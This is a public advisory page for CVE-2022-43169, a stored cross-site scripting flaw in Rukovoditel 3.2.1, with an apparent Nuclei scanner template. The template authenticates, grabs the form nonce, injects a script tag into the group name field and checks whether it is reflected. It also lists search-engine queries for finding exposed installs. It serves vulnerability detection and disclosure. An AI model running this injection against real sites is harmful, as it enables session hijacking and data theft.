CVE-2022-43169: Rukovoditel <= 3.2.1 - Cross-Site Scripting

2025-08-01 Rukovoditel PoC Public

Description

A stored cross-site scripting (XSS) vulnerability in the Users Access Groups feature (/index.php?module=users_groups/users_groups) of Rukovoditel v3.2.1 allows authenticated attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name parameter after clicking "Add New Group".

PoC

id: CVE-2022-43169

info:
  name: Rukovoditel <= 3.2.1 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    A stored cross-site scripting (XSS) vulnerability in the Users Access Groups feature (/index.php?module=users_groups/users_groups) of Rukovoditel v3.2.1 allows authenticated attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the Name parameter after clicking "Add New Group".
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to potential data theft, session hijacking, or defacement of the affected application.
  remediation: |
    Upgrade Rukovoditel to a version higher than 3.2.1 or apply the necessary patches provided by the vendor to mitigate the XSS vulnerability.
  reference:
    - https://github.com/anhdq201/rukovoditel/issues/3
    - http://rukovoditel.com/
    - https://nvd.nist.gov/vuln/detail/CVE-2022-43169
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cve-id: CVE-2022-43169
    cwe-id: CWE-79
    epss-score: 0.00918
    epss-percentile: 0.5847
    cpe: cpe:2.3:a:rukovoditel:rukovoditel:3.2.1:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 3
    vendor: rukovoditel
    product: rukovoditel
    shodan-query: http.favicon.hash:-1499940355
    fofa-query: icon_hash=-1499940355
  tags: cve,cve2022,rukovoditel,stored-xss,xss,authenticated,vuln

http:
  - raw:
      - |
        GET /index.php?module=users/login HTTP/1.1
        Host: {{Hostname}}
      - |
        POST /index.php?module=users/login&action=login HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        form_session_token={{nonce}}&username={{username}}&password={{password}}
      - |
        POST /index.php?module=users_groups/users_groups&action=save&token={{nonce}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        form_session_token={{nonce}}&name=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E&sort_order=&notes=&ldap_filter=

    redirects: true
    max-redirects: 2
    matchers:
      - type: dsl
        dsl:
          - 'status_code_3 == 200'
          - 'contains(content_type_3, "text/html")'
          - 'contains(body_3, "<script>alert(document.domain)</script>")'
          - 'contains(body_3, "rukovoditel")'
        condition: and

    extractors:
      - type: regex
        name: nonce
        group: 1
        regex:
          - 'id="form_session_token" value="(.*)" type="hidden"'
        internal: true
# digest: 490a0046304402206ab31ad189d12be3693aa8e1919dfc169bc415f2e7a98807b868b236d5667d78022027e2274c72f87011bcc8c93268e716e2480578e1ebd930e03914f41e4ddc1b7e:922c64590222798bb761d5b6d8e72950

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